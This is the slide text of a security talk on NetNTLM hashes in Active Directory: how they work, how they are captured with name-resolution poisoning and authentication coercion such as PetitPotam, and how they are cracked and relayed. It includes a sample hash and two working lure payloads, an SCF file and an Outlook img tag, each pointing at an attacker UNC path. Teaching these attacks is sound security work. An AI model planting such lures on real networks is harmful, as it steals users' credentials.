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Whomai? Jake Edition
• Name: Jake Nelson

• Current Thing: I hack stuff and I know things

• Former Thing: *nix admin turned hacker

• Fun Fact: I'm often invoked as malware (Because Qasim)

• Specialty: Network and Infrastructure Exploitation



Whomai? Qasim Edition

• Qasim Ijaz

• Director of Offensive Security at Blue Bastion

• Former roles

• Sr. Manager Attack Simulation at a Healthcare 
Org

• HIPAA/HITRUST Assessor 

• Associate CISO

• Instructor in after-hours

• Blackhat, BSides, OSCP Bootcamp

• Focus areas

• “Dry” business side of hacking

• Active Directory exploitation

• Healthcare security



Agenda
• What NetNTLM hashes are and how they fit into AD

• Different ways to get NetNTLM hashes
• Broadcast and multicast-based name resolution protocols

• Coercion and elicitation (PetitPotam, DFSCoerce, shortcut files/icons, and even Microsoft 
Word)

• How to crack and relay NetNTLM hashes

• How to defend yourself against these types of attacks



NetNTLM
Or is it NTLM? Whatever.



NetNTLM – Challenge Response Protocol

1: We should talk (NETOGIATE)

2: Encrypt this string with your Password 
Hash first to prove you are who you say you 
are! (CHALLENGE)

User File Share

3: Ok, here you go. (AUTHENTICATE)

6: What’s up?

Domain Controller



NetNTLM v1 vs. v2 | Essentials

• NetNTLMv1
• Supports both NT and LM hashes

• Uses DES for challenge response computation

• NetNTLMv2
• Supports NT hashes

• Uses MD5 HMAC for challenge response computation



NetNTLMv2 Hash Format

FileMaker::TRAINING:7c4ba0b92ebbff51:CAF6BACF8200503E467001F749AD77A8:010100000000000080F2DA29D
EBFD901A2BF55ED4D73526700000000020008005600390034004F0001001E00570049004E002D00310048003800
350038004B004100560056004B00480004003400570049004E002D00310048003800350038004B0041005600560
04B0048002E005600390034004F002E004C004F00430041004C00030014005600390034004F002E004C004F00430
041004C00050014005600390034004F002E004C004F00430041004C000700080080F2DA29DEBFD9010600040002
000000080030003000000000000000000000000020000092D4BA3542BCBB704712565DFBE3E74DBE3F7A02E9CD
2CBD7D5DFEBC0EA213590A001000000000000000000000000000000000000900200063006900660073002F00310
030002E003100300030002E0035002E00360036000000000000000000

Username Domain Server Challenge Client’s Response NTLMv2 Client Challenge



Getting NetNTLM Hashes
Where my hash at?



(Broad|Multi)cast Name Resolution Protocols

1a: Where is \\HRShare

1b: [Broad|Multicsat] Anyone know \\HRShare?

3: Great. Let’s authenticate using NetNTLM
and then I got some business with ya!

User

HR File Share

Domain Name Server

2: I am \\HR-Share



(Broad|Multi)cast Name Resolution Protocols



Poisoning (Broad|Multi)cast Name Resolution 
- Responder



Demo: Broad|Multicast Name 
Resolution Poisoning



Authentication Coercion| Ask Nicely

• Often usable by an unauthenticated or low privileged domain user

• Coerces the target (e.g., domain controller) to authenticate to an arbitrary 
machine

• For example, \\attacker\machine
• MS-RPRN remote call to RpcRemoteFindPrinterChangeNotificationEx

• MS-EFSR call to Encrypting File System Remote (EFSRPC) Protocol

• Also known as PetitPotam

• https://github.com/p0dalirius/windows-coerced-authentication-methods

The patch restricts this to authenticated accounts only



Demo: PetitPotam 



SCF, URL, LNK Files

[Shell]
Command=2
IconFile=\\10.100.5.66\icon.ico
[Taskbar]
Command=ToggleDesktop



Demo: LNK/SCF Files



SLINKY for Mass Deployment



Outlook Tracking Pixel

<img src="\\172.27.94.50\a.png">



Demo: Outlook Tracking Pixel



Word ActiveX Controls



Demo: Word ActiveX Controls



Using NetNTLM Hashes
Sling it



Relaying NetNTLM Hashes - No SMB Signing



Demo: Relaying NetNTLM Hashes 
to other SMB Servers



Crack it



The End
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